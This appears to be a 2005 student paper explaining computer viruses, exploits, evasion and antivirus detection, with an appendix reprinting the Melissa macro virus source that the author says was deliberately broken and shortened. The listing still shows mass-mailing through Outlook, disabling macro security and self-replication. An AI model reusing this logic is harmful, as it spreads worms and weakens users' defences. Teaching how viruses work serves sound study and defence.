Definition of a Computer Virus A computer virus is computer programming code that is executed on one's computer without the explicit knowledge of the user. The term virus comes from the similarities of a biological virus; a virus cannot be self sustaining, but must infect a host. There are many mediums, known in the computer field as exploits, in which a virus may infect one's computer. All exploits are written into a program's code, and the user allows the said program to run. A virus creator uses the knowledge of an exploit to infect ones computer and can only infect one's computer where an exploit is present. It is the responsibility of the user to protect himself from exploits. This may be done by running properly written code, or by means of an antivirus system. In this document, the following topics will be discussed in detail that is appropriate to the general public: How a virus works Possible effects on a computer Exploitations used Avoidance from detection Techniques used in detecting viruses
How a Computer Works To understand how a computer virus works, it is important to understand how a computer operates. A computer is a tool that is used to execute instructions. A user must supply the proper instructions for a computer to execute in a manner needed by the user. These instructions are known as software. The soft reference is due to the fact that software is only stored as files, which may be manipulated. With software, a user may manipulate the procedure of a computer to his desired need. The main application of software is called the operating system. The operating system is a library of commands for which a user can execute. The more commands available, the more complicated the operating system becomes. This complexity provides an excellent opportunity for a well skilled virus creator.
How a Computer Virus Works As mentioned prior, a biological virus cannot thrive on its own, instead it must infect a host. A computer virus has similarities to a biological virus, except that it cannot be classified as a living entity. With regards to infection, the computer is committing no flaw by executing the virus code. A virus is computer code that runs like other software on one's computer, except it executes in a way that is not intended by the user.
Effects of a Computer Virus The effect of a computer virus solely depends on the intentions of the virus writer, and the exploit used. An excerpt from the Wikipedia article on Computer Viruses explains many intentions of viruses: Virus writers can have various reasons for creating and spreading malware1. Viruses have been written as research projects, pranks, vandalism, to attack the products of specific companies, to distribute political messages, and [to obtain] financial gain from identity theft or spyware2. Some virus writers consider their creations to be works of art, and see virus writing as a creative hobby. Additionally, many virus writers oppose deliberately destructive payload routines. 1 Used to describe any form of malicious software. 2 Used to describe software that retrieved a user's personal data. Often placed under the term Malware.
1
With each intention, the severity of infection can be obtained. A virus writer may want to inflict financial damage against a company, and in doing so, infects a company's servers. This prevents the company from performing needed tasks, and possible loss in revenue may occur. On the other end, a low end virus writer, often called a script kiddie in the industry, may use small exploits in the code to commit minuscule acts of violence against individual users. Effects on a personal computer can range from loss of data, to corruption of operating procedures, and in rare cases the permanent corruption of hardware.
Exploitations a Virus Uses As the complexity of a computer program increases the possibility of exploitable code does as well. An exploit is the unintended abuse of a feature in a program. When a program is written, the emphasis is on functionality, rather than possibility of code exploitations. When the knowledge of the exploitable code reaches one who is willing to exploit the code, a computer virus is engineered. These exploits can be found in all computer programs, and if the exploits are powerful enough, they may obstruct or even damage computer operations. Exploits discussed in this document are: Buffer Overflow Fork Bomb Feature Exploitation Buffer Overflow A buffer overflow is a common exploitation used in computer viruses. A buffer “is a region of memory used to temporarily hold output or input data.”(Buffer Overflow, 2005) A computer program will place information within designated regions, to be used for further instructions. A virus may corrupt a buffered region in hopes to execute unintended code. The simplest way to explain this procedure is through an illustration (Buffer Overflow, 2005). 1. This is an example of memory regions that have two variables in it, A, B. There are currently no values placed in them. A A A A A A B B 0 0 0 0 0 0 0 0 2. Data is placed in to the memory regions by the program. james was placed in buffer A, and the integer 1 was placed in buffer B. A A A A A A B B j a m e s 0 0 1 3. A virus conducting a buffer overflow will place a longer variable into the buffer than it instructed to hold. By placing viruses into the buffer A, the virus has manipulated buffer B that it previously did not have access to. The B variable has been unintentionally manipulated. 2
A A A A A A B B v i r u s e s 1 Using this method, a virus may gain access to certain aspects of a program, and possibility manipulate the outcome. Fork Bomb In a typical operating system, the operating system will maintain a table of processes. This table contains a finite amount of positions, and although this table provides functionality of process administration, it may be a medium of exploitation. A Fork Bomb is further explained below: 1. A process table contains information of processes running. Sample processes are placed in the process table. Process #
Process
0
system
1
explorer.exe
2
svchost.exe
3
notepad.exe
4
aim.exe
5 6 7 8 2. A virus is introduced to the computer. In this case, the virus is written in the C programming language, and continuously forks into new processes.
3. The virus using process forking will cause the remaining process tables to be filled with virus processes, in this case virus32.exe. 3
Process #
Process
0
system
1
explorer.exe
2
svchost.exe
3
notepad.exe
4
aim.exe
5
virus32.exe
6
virus32.exe
7
virus32.exe
8
virus32.exe
After a successful infection of a fork bomb, the user is unable to execute further programs. This may prevent functionality, and cause disruption. The most common solution is restarting the operating system, in an attempt to clean the process table of the virus. Feature Exploitation The most common exploitation used in viruses, is the ability to exploit certain flaws found in common programs, be in an office suite, or the operating system itself. A computer virus can target one specific program, and exploit features that provide productivity. Features are put in place in a program, but do not provide adequate protection against abuse. One example of this happened on March 26, 1999 when the virus known as Melissa exploited the macro programming system used within Microsoft Office, and Microsoft Windows. The macro system provided users the ability to program routinely used actions, to further help their productivity. Melissa embedded a macro script (See Appendix A for source code) into a Microsoft Word document. When a user opened the document, Microsoft Office executed the macro script as instructed. Melissa's actions are further explained in Figure 1.
4 Figure 1: Diagram depicting how Melissa Works
Avoidance from Detection A virus can implement many techniques to prevent detection from users, and/or antvirus software. Since the abilities of detecting viruses is well known to skilled virus writers, they may use this knowledge to create viruses that think ahead of detection methods. A virus may use the simple ignorance of a user, or techniques that are made available due to the structure of computers. The techniques that will be discussed in detail in this document are: Stealth Metamorphic Code Stealth Stealth can become a key component of a virus' engineering. The ability to execute a virus without the knowledge of the user, can prolong the infection, and provide adequate time for a virus to complete it's required tasks. Stealth can be easily implemented by using actions allowed by the operating system. The ability to execute program tasks without interrupting the user is very common in programming. A programmer will not want to be disturb a user when an error occurs for reasons beyond the user's comprehension. A virus writer can choose to implement the same technique to prevent a user from suspecting infection. This can be very dangerous, as a virus is allowed to execute fully, without the expressed permission of the user, or indirect feedback from the computer3. With the advent of antivirus software (which will be later discussed in detail), new tactics must be devised to circumvent detection. A example of one technique used against antivirus software is “[a] virus can hide itself by intercepting the antivirus software’s request to read the file and [pass] the request to the virus, instead of the [operating system]. The virus can then return an uninfected version 3 Most computers provide hardware feedback of the hard drive and CPU use. This may possibility alerting the user to a unknown process running, in this case a virus.
5
of the file to the antivirus software, so that it seems that the file is "clean"”(Computer Virus). Metamorphic Code Metamorphic code is defined to be code that can manipulate its own actions. Metamorphic code is a legit technique used in programming, but it is more commonly used in virus engineering. The virus is programmed to adapt to possible detection processes, and thus making it harder to detect and disinfect.
Detection Processes According to Subramanya and Lakshminarasimhan (2001, pg. 19), there are four methods of detecting viruses: Signature based scanning Emulation Heuristics Behavioral analysis and check summing Each method provides a unique approach to detecting known and unknown viruses, as well as providing opportunities for a virus to elude detection. Signature Based Scanning This method uses signature references to detect virus code embedded into other files when a computer scan is performed. This method is very common in many popular antivirus software suites, for which most require periodic downloading of new signature files. This method is only used to protect against known viruses, and can be eluded by viruses for which no signature reference exists. Emulation This method isolates a suspected virus in a fake operating system environment, called a sandbox, in hopes to detect the behavior of the virus. The behavior is then translated into a detection process by the antivirus software. As this method is very resource heavy, it is not very commonly used as a means of detection. Heuristics This method uses known techniques in virus engineering in hopes to detect “families” of viruses: viruses with same traits or deployed techniques. Although this technique seems very promising, it may produce false positives on files that contain no virus. Behavioral Analysis and Check summing Behavioral Analysis requires real time scanning by the antivirus software in hopes of detecting irregular behavior of programs. This may be done by monitoring the actions of programs to sensitive information. If a program attempts to execute a command beyond normal parameters, the user is alerted and asked for permission to allow the program to execute. This process is very flawed, because many users do not educate themselves with the proper use of antivirus software. They simply accept all the prompts in hope to have their desired program run. Check summing is the process of calculating an individual alphanumeric code for each file based on its contents. When a scan is performed, the original checksums are compared to new ones in an attempt to detect changes in the contents of the file. This process is only effective in detecting changes in files, 6
but cannot detect viruses alone.
Conclusion A computer virus can cause devistation and chaos among the computer industry if dangerous enough. For this reason, the majority of the world has made it punishable under the law to create computer viruses for the intent to cause disruption. Viruses have been around since binary was first invented, and will remain a threat to unmaintained and ill formed software programs. Only through proper measures can an individual become educated of possible damages of viruses, and procedures at which to prevent them. Viruses are commiting no illegal action with regards to the computers interworkings, but only through the eyes of the user, are viruses effective.
7
Apendix I – Melissa Virus Source Code (Northcutt, 1999). NOTE: Several errors have been introduced into this copy of the code as a safety measure so that this will not run as is. Also some sections have been removed. Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then CommandBars("Macro").Controls("Security...").Enabled = False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&Else CommandBars("Tools").Controls("Macro").Enabled = False End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Inlook" Then DasMapName.Logon "profile", "password" For y = 1 To DasMapName.AddressLists.Count Set BreakOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakOffASlice.Recipients.Add Peep x++ If x < 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakOffASlice.Subject = "Important Message From " &Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;)" [...] BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapName.Logoff End If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" End If If ADI1.Name <> "Melissa" Then If ADCL > 0 Then _ ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If If NTI1.Name <> "Melissa" Then If NTCL > 0 Then _ NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo END If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop
8
BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(END, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved = True: End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word > Email | Word 97 <> Word 2000 ... it's a new age! If Day(Now) = Minute(Now) Then Selection.TypeText " Twentytwo points, plus triplewordscore, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub
9
Reference: M. S. Clark, personal interview, February 28, 2005. Stephen Northcutt (1999, April 22). Sans Intrusion Detection FAQ: What was the Melissa virus and what can we learn from it?: Appendix: Melissa Source Code. Retrieved March 10, 2005, from http://www.sans.org/resources/idfaq/what_melissa_teaches_us.php Subramanya, S.R.; Lakshminarasimhan, N. (2001, OctoberNovemeber). Computer Viruses. Potentials, IEEE, Volume 20, Issue 4, 1619. (2005). Antivirus. Retrieved March 10, 2005 from http://en.wikipedia.org/wiki/Antivirus (2005). Buffer Overflow. Retrieved March 10, 2005 from http://en.wikipedia.org/wiki/Buffer_overflow (2005). Computer Virus. Retrieved March 10, 2005 from http://en.wikipedia.org/wiki/Computer_Virus (2005). Fork Bomb. Retrieved March 10, 2005 from http://en.wikipedia.org/wiki/Fork_bomb (2005). Melissa Virus. Retrieved March 10, 2005 from http://en.wikipedia.org/wiki/Melissa_worm (2005). Metamorphic Code. Retrieved March 10, 2005 from http://en.wikipedia.org/wiki/Metamorphic_code Figures: [Pages 23] Illustrations based on excerpts from http://en.wikipedia.org/wiki/Fork_bomb [Page 5] How Melissa Works Illustration. (n.d.). Retrieved March 12, 2005 from http://www.melissavirus.com/
10